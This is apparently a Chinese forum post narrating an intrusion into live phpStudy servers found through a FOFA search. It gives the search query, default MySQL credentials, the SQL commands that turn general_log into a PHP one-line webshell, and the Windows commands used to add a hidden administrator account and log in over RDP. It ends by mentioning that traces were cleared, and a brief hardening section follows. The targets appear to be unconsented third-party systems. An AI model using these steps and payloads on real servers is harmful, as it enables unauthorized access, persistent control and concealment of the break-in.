开局一个弱口令直接拿Shell

admin 2021-3-9 776

前期准备

首先信息收集一波确认目标,:fofa: body="phpstudy探针" && title="phpStudy 探针 2014"

找几个心仪的目标下手,打开的页面是这样的

正文

记住这个绝对路径,后面用得上,然后页面拉到最后,使用弱口令对MySQL数据库连接进行检测。一般phpstudy默认配置的mysql账号密码为root/root,直接使用这个去尝试登录。

但是这种命中率五五开吧,这个不行,就换一个吧,毕竟这个测试,开头还是需要弱口令进去,或者自己也可以跑字典做其他的尝试,显示这样“连接到MySql数据库正常”就是可以的。

接着,直接访问phpmyadmin,例如:http://ip:80/phpmyadmin  然后输入账号密码登录。


然后利用log日志写入一句话进去,然后再要进一步利用,提权等。一般涉及到两个地方general_log、general_log_file

1、然后可以通过SQL指令来操作

show variables like 'general_log'; -- 查看日志是否开启

set global general_log=on; -- 开启日志功能

show variables like 'general_log_file'; -- 看看日志文件保存位置

set global general_log_file='tmp/general.lg'; -- 设置日志文件保存位置

show variables like 'log_output'; -- 看看日志输出类型 table或file

set global log_output='table'; -- 设置输出类型为 table

set global log_output='file'; -- 设置输出类型为file

主要是开启日志功能,以及设置日志存放的位置,为了方便,我一般存放在根目录下,前面让记住的路径现在就用得到了。

查看日志是否开启。

show variables like 'general_log';

开启日志功能。

set global general_log=on;

修改日志保存路径文件,注意要准确到文件名。

set global general_log_file=' D:/WWW/test.php';  //根据实际情况来定。

2、更简单一点的方法,在变量处,找到general_log、general_log_file,然后general_log改成ON、general_log_file改为网站根目录下的文件名。

然后通过日志来写入一句话:

SELECT'<?php assert($_POST["cmd"]);?>';

然后现在可以通过打狗菜刀或者其他软件连接上去(连接路径为日志文件存放的文件位置)。

菜刀连接上去之后,就可以进一步操作了。

在打狗菜刀上面又虚拟终端这个功能,我可以直接尝试执行CMD命令。好家伙,直接是system权限(这里也是复现的时候遇到的,前面遇到的是administrator权限的。

whoami  //查看当前用户。

贴出来看看(凑字数显得牛逼点)。

然后尝试添加新用户,密码不满足策略,这个简单,自己领悟。

net user 用户名 密码 /add   //添加新用户。

然后把该用户提升为管理员权限,system权限,没有太大的问题,如果这里遇到拦路狗,或者其他杀软,请参考我前面的文章,怎么K狗的。

net localgroup administrators 用户名 /add    //把用户提升为管理员权限。

然后查看有没有开启远程桌面服务。

tasklist /svc | findstr TermService   //查看远程桌面服务信息。

然后查看服务在哪个端口。

netstat -ano | findstr ****  //查看进程号端口情况。

好家伙,3389,白折腾。直接尝试远程桌面登录上去看看。

成功登录上去,简单看了一下,现在的的服务器不值钱吗,承认看到这里,我酸了。

然后看了一下磁盘里面的东西,感觉有点像赌博、菠菜的源码。

后面到这里差不多结束了,清除痕迹,擦擦屁股走人。

防范措施:

像l.php这样的文件环境调试好可以删除,或者重新定义网站的默认路径等

数据库的密码使用强密码,毕竟开局弱口令

用户权限,日志文件的权限等

总结

弱口令通常不能这么简单利用,但是一旦被利用,也是危害很高的。密码要常改,还要使用强密码,不要使用默认密码、弱口令。能登陆上phpmyadmin之后,其实还需要判断版本等信息,除了通过这个日志来写入一句话,相信还有其他方法。可以做一下尝试。


最新回复 (0)
返回
发新帖